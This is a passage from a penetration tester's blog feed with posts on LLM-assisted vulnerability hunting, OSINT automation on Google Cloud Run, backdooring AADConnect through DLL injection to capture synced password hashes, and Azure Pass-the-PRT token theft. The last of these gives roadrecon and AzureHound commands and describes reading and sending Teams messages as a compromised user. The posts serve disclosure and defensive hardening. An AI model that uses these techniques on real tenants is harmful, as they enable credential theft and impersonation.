<p>I don’t know. And won’t know until this process yields results. But, it’s important to call out here that an operator using this approach would use ChatGPT’s responses to quickly identify potential vulnerabilities, go back and read the surrounding documentation for context clues, and then proceed to build out a lab for tinkering / vulnerability discovery. This is where I believe we could speed up our research / RTFM time.</p>

<h1 id="improvements">Improvements?</h1>
<p>We could use a self-developed LLM with Microsoft’s Azure Machine Learning Studio and train our own model to perform this specific task.</p>

<p>We could modify the system prompts sent to ChatGPT to make it more helpful.</p>

<p>We could identify the patterns in ChatGPT’s response to filter out “Not a vulnerability” responses.</p>

<p>This tool is a work in progress and if it nets any vulnerabilities, I’ll write a blog post about it and tag this post in some way.</p>

<h1 id="conclusion">Conclusion</h1>
<p>Working on a team whose responsibility it is to hunt and find vulnerabilities in Microsoft products, we have to be efficient with our time without forgoing the basics. I believe this approach will help us in achieving that goal and with all things this tool will improve over time. As for now, I have a bunch of new work to do thanks to ChatGPT!</p>

<p>Hope everyone had wonderful holidays! See you in the next post!</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found at: https://web.archive.org/web/20240917153006/https://nullg0re.com/2023/12/automating-rtfm-with-chatgpt-a-security-researchers-guide-to-vulnerability-discovery-with-the-help-of-llms/]]></summary></entry><entry><title type="html">Automating Osint With Gcp</title><link href="https://nullg0re.github.io/2023/09/04/automating-osint-with-gcp.html" rel="alternate" type="text/html" title="Automating Osint With Gcp" /><published>2023-09-04T00:00:00+00:00</published><updated>2023-09-04T00:00:00+00:00</updated><id>https://nullg0re.github.io/2023/09/04/automating-osint-with-gcp</id><content type="html" xml:base="https://nullg0re.github.io/2023/09/04/automating-osint-with-gcp.html"><![CDATA[<p>Screenshots can be found at:  https://web.archive.org/web/20240917162314/https://nullg0re.com/2023/09/automating-osint-with-gcp/</p>

<p>First:</p>

<h1 id="what-is-osint">What is OSINT</h1>
<p>OSINT is an abbreviation that stands for Open Source Intelligence Gathering. It consists of techniques used by adversaries and pentesters alike to identify information about a target organization that provides information to the operator such as:</p>

<p>Live hosts
Cloud presence
Leaked secrets
Previously breached credentials / disclosures
Technology stacks leaked in job postings
etc…
OSINT is passive in nature and primarily relies on information obtained without actually sending traffic downrange to the target organizations assets.</p>

<h1 id="osint-automation">OSINT Automation</h1>
<p>OSINT operators who regularly perform Open Source Intelligence Gathering will often times perform the same series of tasks over and over again and need some way of automating those activities so that they are repeatable and scalable.</p>

<p>An operator would likely use a Cloud technology like AWS, Azure, or GCP to facilitate this automation for the following reasons:</p>

<p>Cloud technologies like GCP’s CloudRun allow you to create small containers with only the functionality that you’d need for a given task, making them fast, small, and accessible via the open internet enabling OSINT teams to work together.
GCP CloudRun cycles IP addresses for every deployed instance of the OSINT container. This is great because, if, for whatever reason, you have a tool or workflow that does require sending packets downrange, it keeps the traffic somewhat anonymous.
An OSINT operator, or team, might deploy multiple containers to CloudRun and chain them together so that the output of one container feeds into the input of another container, making the process of obtaining OSINT faster and more efficient.
I wrote a tool called Nuclear OSINT that does just this.</p>

<h1 id="nuclear-osint">Nuclear OSINT</h1>
<p>Nuclear is a python script that sends data to a series of Google Cloud CloudRun containers that performs the following actions:</p>

<p>Track domain name and target LinkedIn URL for billing purposes
Send domain name to CloudRun container running Amass for subdomain enumeration
Send domain name and LinkedIn URL to CloudRun container running a tool used to collect email addresses and check them against the HaveIBeenPwned API to identify any public data breach disclosures.
Send domain name to CloudRun container running AADInternals to identify Azure subscription ownership.
Send the Amass CloudRun containers output to three separate containers:
CloudRun container running HTTPX to simulate “browsing” and helping find web applications
CloudRun container running DNS lookups to find “live” hosts utilizing DNS records
CloudRun container running Subjack to identify any subdomain takeover opportunities
Send the DNS Lookup CloudRun container output to two additional containers:
CloudRun container running WhoIs lookups to find domain ownership (which is a great way to identify Cloud hosting provider ownership)
CloudRun container running Shodan to passively find open ports on the target organization as well as get an insight on potential CVEs
All of this data is requested by the operators python script, which goes out and collects the above data, then parses and manages the data so that it can be used in reporting and action-on-objectives later on.</p>

<p>The above items are all passive in nature except for HTTPX which is the only “Active” sequencing in this process. This, however, is a necessary step in some cases as it allows the operator to perform a domain flyover and is considered an additional data collection point where the information gathered here can aid in pre-emptively confirming or rejecting some of the additional data found.</p>

<p>It must be stated that all activities between an ethical hacker and a target organization must be talked about and consented to ahead of time. In the cases that I’ve needed to include the HTTPX traffic in my OSINT collection activities, the activity was agreed upon ahead of time.</p>

<h1 id="but-how-fast-is-this">But How Fast Is This?</h1>
<p>Before creating the Nuclear CloudRun framework, I was running this as a linear python script, that in some cases, due to the size of the target domain, could take anywhere from 5 to 15 hours to complete. After building Nuclear in CloudRun, the longest runtime for this script that I’ve had has been under an hour because there are multiple tasks being executed at the same time. Even where one task’s dependencies required an upstream task to finish, the speed at which the combined CloudRun activities finished is a win in my book, allowing me to perform more OSINT operations in a day being the sole operator.</p>

<p>Cloud automation, if done properly, can save time and money. To have this framework running in GCP, it cost me less than a cup of coffee per month to keep the framework running in GCP, as you are only charged for the CloudRun containers run time. The following table is taken from GCP’s CloudRun pricing page and demonstrates how cheap this kind of a setup can be:</p>

<p>Source: https://cloud.google.com/run/pricing</p>

<h1 id="additional-reading-material">Additional Reading Material</h1>
<p>I’ve left the creation of a Nuclear style OSINT collection service as an exercise for the reader. Here’s a couple of helpful links to help you get started:</p>

<p>https://cloud.google.com/run
https://developers.google.com/learn/pathways/cloud-run-serverless-computing
https://k21academy.com/google-cloud/google-cloud-run/
https://medium.com/google-cloud/deploy-serverless-container-google-cloud-run-68d716af7716</p>
<h1 id="conclusion">Conclusion</h1>
<p>OSINT at scale is a challenge but leveraging the power of Cloud technologies like GCP’s CloudRun, or similar products in AWS or Azure can really help in the creation of OSINT (or other) products that operate quickly and in masse.</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found at: https://web.archive.org/web/20240917162314/https://nullg0re.com/2023/09/automating-osint-with-gcp/]]></summary></entry><entry><title type="html">Hijacking Someone Else Dcsync</title><link href="https://nullg0re.github.io/2023/09/03/hijacking-someone-else-dcsync.html" rel="alternate" type="text/html" title="Hijacking Someone Else Dcsync" /><published>2023-09-03T00:00:00+00:00</published><updated>2023-09-03T00:00:00+00:00</updated><id>https://nullg0re.github.io/2023/09/03/hijacking-someone-else-dcsync</id><content type="html" xml:base="https://nullg0re.github.io/2023/09/03/hijacking-someone-else-dcsync.html"><![CDATA[<p>Screenshots can be found: https://web.archive.org/web/20240917160441/https://nullg0re.com/2023/09/hijacking-someone-else-dcsync/</p>

<h1 id="jams-all-day">Jams all day:</h1>

<h2 id="introduction">Introduction</h2>
<p>So you’re on a network doing a pentest. You’ve escalated privileges and it’s time to extract hashes from the DC. DCSync attacks are widely known and widely detected on.</p>

<p>What if there was a way to perform a DCSync without executing the attack or triggering an alert for the activity?</p>

<p>We’d first have to look into what devices and services perform DCSync as part of their standard operating procedures. Like Domain Controller replica sets. A Backup DC is of course going to perform a DCSync to the primary DC in order to back up all of its data.</p>

<p>What if there was another device or service out their that we could get access too without needing Domain Admin privileges to access? Enter AADConnect servers.</p>

<h2 id="aadconnect">AADConnect</h2>
<p>AADConnect servers are an interesting concept. They should follow the Tier model and be treated as Tier 0 assets, but not all organizations treat them that way. Or in most cases, they do, but through the course of a pentest or compromise, the adversary is able to obtain Local Administrator access to the AADConnect servers themselves.</p>

<p>AADConnect is also an interesting piece of software. It contains a large amount of code to essentially perform the following actions:</p>

<ul>
  <li>Perform a DCSync against a local DC to obtain user data and credentials</li>
  <li>AADConnect rehashes the users NTHashes 1,000 times</li>
  <li>AADConnect ships the hashes off to Azure AD for synchronization</li>
  <li>More information about the synchronization protocol can be found here.</li>
</ul>

<p>What if there was a way to backdoor AADConnect so that AADConnect performs the DCSync and we just steal the credentials its supposed to obtain for it’s normal operations?</p>

<h2 id="dnspy-to-the-rescue">DnSpy to the Rescue</h2>
<p>To get started, I opened all of the EXE’s and DLLs inside the C:\Program Files\Microsoft Azure AD Sync directory with DnSpy and started hunting for .NET classes and methods that might be of any value. The goal here would be to find a method that I could overwrite that would allow me to steal the credentials from AADConnect after its DCSync, before it encrypts or after it decrypts the NT hashes during the sync.</p>

<p>Nestori Syynimaa helped me narrow down the list to Microsoft.Online.PasswordSynchronization.dll which contained the class PasswordUtility and the method DecryptNtOwfPwdWithIndex. This function is called during step one in the above list.</p>

<p>Here is a screenshot of the decompiled class:</p>

<p>This is a great method to overwrite because it had limited .NET functionality and the majority of the functions are native functions. This means we can keep the DLL relatively small and don’t have to add a bunch of unnecessary code to make the final product functional!</p>

<h2 id="cooking-up-some-dlls">Cooking Up Some DLLs</h2>
<p>So now we have the method to overwrite, next we need to build the DLL.</p>

<p>The first thing that we’ll need to do is create a method inside of our DLL that will load the method we want to overwrite in memory, load the malicious method, and the overwrite the method in memory.</p>

<p>Below shows the Patch() method used to overwrite the existing code with our malicious code in memory:</p>

<p>The remainder of the DLL is our malicious method. This method contains all of the code from the legitimate method, so that we don’t crash the service, as well as the functionality to write the stolen DCSync hashes in the secretsdump.py format to disk at C:\Windows\Temp\Hashes.txt:</p>

<h2 id="execution">Execution</h2>
<p>The way this attack would work is that the adversary or tester would need to become a Local Admin of the AADConnect server and then inject the malicious DLL into the miiserver.exe process. This process is the service executable of the AADConnect service.</p>

<p>The adversary would need to identify the PID of the miiserver.exe process. Task Manager, Process Explorer, Process Hacker, and even the command line are great options:</p>

<p>CMD:</p>

<p>tasklist | findstr miiserver.exe
The adversary would then need to inject the malicious DLL:</p>

<p>With the malicious DLL injected into the miiserver.exe process, the next step would be for the adversary to log into Azure AD as any user and just reset a compromised hybrid user’s password. This will kick off the synchronization between on-prem and Azure AD and our malicious code will sit back and wait until miiserver.exe needs to decrypt the users credentials with the AADConnect Session Key, and our code will just write the credentials to disk at C:\Windows\Temp\Hashes.txt!</p>

<p>The adversary would then just need to exfil that file off the disk and they’ve successfully performed a DCSync without ever actually executing an out-of-band DCSync!</p>

<h2 id="additional-context">Additional Context</h2>
<p>While performing this research, researchers at SYGNIA found an alternate path to achieve the same objective. They have an incredibly detailed write-up that can be found here.</p>

<h2 id="microsoft-communications">Microsoft Communications</h2>
<p>I submitted this research to MSRC on September 15th, 2023 expecting Microsoft to say that this was “by design” or to classify this as “Not a vulnerability” because there is no Security Boundaries being crossed with this abuse scenario. MSRC responded on September 21st, 2023 agreeing to the same:</p>

<h2 id="conclusion">Conclusion</h2>
<p>DCSync is an essential task when conducting a pentest, but it can be very noisy. We’ve discussed a way where we can perform a DCSync without triggering any traditional alarms.</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found: https://web.archive.org/web/20240917160441/https://nullg0re.com/2023/09/hijacking-someone-else-dcsync/]]></summary></entry><entry><title type="html">Device Join To Azurehound</title><link href="https://nullg0re.github.io/2023/09/02/device-join-to-azurehound.html" rel="alternate" type="text/html" title="Device Join To Azurehound" /><published>2023-09-02T00:00:00+00:00</published><updated>2023-09-02T00:00:00+00:00</updated><id>https://nullg0re.github.io/2023/09/02/device-join-to-azurehound</id><content type="html" xml:base="https://nullg0re.github.io/2023/09/02/device-join-to-azurehound.html"><![CDATA[<p>Screenshots can be found at: https://web.archive.org/web/20240803200454/https://nullg0re.com/2023/09/device-join-to-azurehound/</p>

<p>But first, tunes:</p>

<h2 id="introduction">Introduction</h2>
<p>Microsoft Azure is an incredibly powerful tool that enables organizations to manage resources, identities, applications, installation of software to on-premises systems, and even manage devices. One of the ways an organization can manage devices is through the use of Device Join.</p>

<p>One of the most well known attacks against Azure Joined devices is the Pass-The-PRT Attack and has been published extensively by legends like Dirk-Jan Mollema, Lee Christensen, Dr. Nestori Syynimaa, and Benjamin Delpy.</p>

<p>This blog is going to cover the Pass-The-PRT Attack using Dirk-Jan’s ROADToken and ROADtools projects, as well as how to leverage the stolen PRT to obtain a FOCI (Family of Client ID) Refresh Token, use that token with AzureHound, and lastly, leverage a tool called TokenMan written by my good friend 0xZDH at Secureworks that will allow us to steal credentials from Teams Messages and send Phishing pretexts through a compromised users Teams account.</p>

<h2 id="lets-get-into-it">Let’s get into it:</h2>

<h3 id="joining-a-device-to-azure-ad">Joining a Device To Azure AD</h3>
<p>First thing we need to talk about is creating our Device Joined system.</p>

<p>Taking a Windows 10 / Windows Server 2016 system or newer, we’ll want to open Settings -&gt; Accounts -&gt; Access Work or School</p>

<p>From there, we click Connect</p>

<p>We enter our users UserPrincipalName (email address):</p>

<p>A Microsoft 365 Login Page pop-up window will appear and you are asked for the password for this account:</p>

<p>At this stage, the user will be asked for their MFA / secondary form of authentication. Once successfully logged in, Azure AD will issue your device a Primary Refresh Token that is stored inside the Web Account Manager (WAM) service in memory on your device.</p>

<h3 id="low-severity-msrc-finding">Low Severity MSRC Finding</h3>
<p>The following scenario requires some understanding of Conditional Access Policies, MFA Enforcement, and Single-Factor Primary Refresh Tokens.</p>

<p>Conditional Access Policies are policies created by an organization that allows the organization to control who can access “things”, at what times, and in what ways. These policies can be sweeping policies that affect the whole organization or are very granular and affect users of a particular group within the organizations Azure subscription.</p>

<p>These policies can be configured to enforce MFA when accessing any number of Azure’s many APIs, and presents an interesting scenario where a misconfiguration of these policies can be abused.</p>

<p>Let’s present a scenario:</p>

<p>An organization leveraging Azure AD has configured MFA requirements for Windows Graph, and the Azure Core Management API, but has forgotten to configure MFA requirements for Microsoft Graph API. The organization has also forgotten to enforce MFA for the Azure Device Join process.</p>

<p>In this scenario, a user, who has MFA configured for their account, is joining their own device to the organizations subscription. The user is presented with the M365 Login Page and enters their UserPrincipalName and password.</p>

<p>Because MFA isn’t enforced on the Device Join process, when the user enters their credentials, Azure issues their device a Single-Factor Primary Refresh Token and the user is then asked for their MFA tokens. Once the MFA tokens have been received by Azure AD, Azure will reissue the Primary Refresh Token with an MFA imprint inside the token.</p>

<p>It is the space between the Single-Factor PRT being issued and the user (or adversary) is asked to present MFA tokens where this misconfiguration becomes an issue. This allows an adversary to steal a Single-Factor PRT and use this PRT to obtain an access token for the Microsoft Graph API, which, as we remember, does not have MFA enforced by the organization.</p>

<p>Let’s see an example of an abuse-case for this scenario:</p>

<h3 id="stealing-the-prt--roadtools">Stealing the PRT – ROADTools</h3>
<p>This method requires two tools:</p>

<ul>
  <li>ROADToken</li>
  <li>ROADTools
First thing we’ll need to is grab a required nonce from Microsoft, leveraging roadrecon from ROADTools:</li>
</ul>

<p>We’ll then take our nonce and ROADToken.exe over to our Azure Joined device and steal the Primary Refresh Token:</p>

<p>We’ll take the blurred out data field, which is the Single Factor Primary Refresh Token, and pass that off to roadrecon in order to obtain our Azure Access Token and FOCI Refresh Token:</p>

<ul>
  <li>ROADTools Command:
    <pre><code class="language-bash">roadrecon auth --prt-cookie '--data-element-from-last-step--' -c 00b41c95-dab0-4487-9791-b9d2c32c80f2 --tokens-stdout
</code></pre>
    <p>Note: The -c 00b41c95-dab0-4487-9791-b9d2c32c80f2 portion of the above command is a client ID for the Microsoft Graph API, a FOCI application. This client ID can be used to obtain refresh and access tokens for any of the FOCI applications and will become important later on.</p>
  </li>
</ul>

<p>With the “refreshToken” element from the JSON string outputted by roadrecon, we can use this Refresh Token directly with AzureHound.</p>

<p>-AzureHound Command:</p>
<pre><code class="language-bash">azurehound list az-ad -r '--refresh-token-from-last-step--' --tenant '--clients-tenant-id--' -o azurehound-output.json
</code></pre>
<p>As you can see by the error message (red text) in the above output, there was an issue obtaining data from an Azure resource. This is because the Primary Refresh Token I stole was a Single-Factor Primary Refresh Token. In my Azure lab, I configured some Conditional Access Policies to prevent Single-Factor PRTs from accessing certain Azure resources.</p>

<p>While this does prevent us from getting a complete picture for BloodHound, we can see from the output, that we are still able to get a large portion of data from Azure AD, which aids us in continuing our attack against the client organization.</p>

<p>This is the importance of ensuring that MFA For Device Join is Enforced by organizations leveraging Azure AD. That being said, this attack is still viable, and albeit better, when the PRT is an MFA imprinted token.</p>

<p>Continuing on, and adding insult to injury, we still have a valid Primary Refresh Token that we can use for other purposes:</p>

<h3 id="tokenman--collecting-intel-from-teams">TokenMan – Collecting Intel From Teams</h3>
<p>Let’s take a couple steps back… We have an Azure Joined device with a Single Factor PRT. We’ve stolen the PRT and collected data with AzureHound. Can we leverage the PRT to steal credentials from Teams?</p>

<p>Using TokenMan, we’re going to want to swap our Windows Graph API FOCI Refresh Token (-c 00b41c95-dab0-4487-9791-b9d2c32c80f2) and request the Microsoft Teams FOCI access and refresh tokens (1fec8e78-bce4-4aaf-ab1b-5451cc387264):</p>

<p>We’re going to take this new access token and open up AADInternals so that we can start stealing credentials users have shared amongst themselves over Teams.</p>

<p>First we’ll need to create the $at variable and assign that variable the access token we just obtained.</p>

<p>And then we just request all the Teams messages with the Get-AADIntTeamsMessages commandlet from AADInternals:</p>

<p>After we’ve stolen credentials, we can even send Teams messages while masquerading as the compromised user account:</p>

<h2 id="conclusion">Conclusion</h2>
<p>You should always enforce MFA on Azure Device Join and enforce MFA on all Azure APIs that your organization uses to contain sensitive information or APIs that allow for a user to perform actions within the Azure subscription.</p>

<p>This blog post demonstrated what an adversary could do with an Azure Joined Device and can even be extended to demonstrate what an adversary can do with a stolen laptop, where the victim’s device is joined to an organization Azure subscription.</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found at: https://web.archive.org/web/20240803200454/https://nullg0re.com/2023/09/device-join-to-azurehound/]]></summary></entry><entry><title type="html">Lets Goooooooo</title><link href="https://nullg0re.github.io/2023/09/01/lets-goooooooo.html" rel="alternate" type="text/html" title="Lets Goooooooo" /><published>2023-09-01T00:00:00+00:00</published><updated>2023-09-01T00:00:00+00:00</updated><id>https://nullg0re.github.io/2023/09/01/lets-goooooooo</id><content type="html" xml:base="https://nullg0re.github.io/2023/09/01/lets-goooooooo.html"><![CDATA[<p>To get you up to speed on the format of these blog posts, there should always be:</p>

<ul>
  <li>Music / YouTube video attached to the content</li>
  <li>Some content regarding:</li>
  <li>Cybersecurity</li>
  <li>Pentesting</li>
  <li>Cloud Security</li>
  <li>Current research</li>
  <li>Automation</li>
  <li>Python (or some programming language)</li>
  <li>etc</li>
  <li>Some type of conclusion</li>
</ul>

<p>My goal here is to provide offensive leaning content that will aid the Cybersecurity community as a whole and, where possible / applicable, provide a means of detecting or preventing the attacks or scenarios described within the specific blog post.</p>

<p>One of the first things I plan to post about is a tool I wrote while performing Open Source Intelligence Gathering engagements in Synack’s bug bounty program and the technologies used to facilitate a tool like that. Here’s a hint: Cloud Automation + Offense is a topic not talked enough about and could really bring offensive leaning teams to a new level while being able to perform at scale.</p>

<p>I was recently announced as a 2023 Microsoft Most Valuable Researcher (MVR) and am looking to level up over the next year. I work with the wonderful Dr. Nestori Syynimaa and Joosua Santasalo, both of which are Microsoft Most Valuable Professionals (MVP). Over the next year I plan on becoming eligible and (god willing) achieve the Microsoft Most Valuable Professional (MVP) award. There will be a heavy Microsoft leaning element to this blog, and that is to give back to the Microsoft community as well as the Security community. I’ll do my best to include things that aren’t part of the Microsoft Ecosystem here as well.</p>

<p>I am also working on my Master’s of Science in Information Security Engineering at SANS Technology Institute. If there’s cool tidbits of knowledge obtained during my studies that can also be applied to my research, I’ll do my best to call out what I can where I can.</p>

<p>My name is Tony Gore, you can find my About Me page here.</p>

<p>Let’s have some fun!</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[To get you up to speed on the format of these blog posts, there should always be:]]></summary></entry></feed>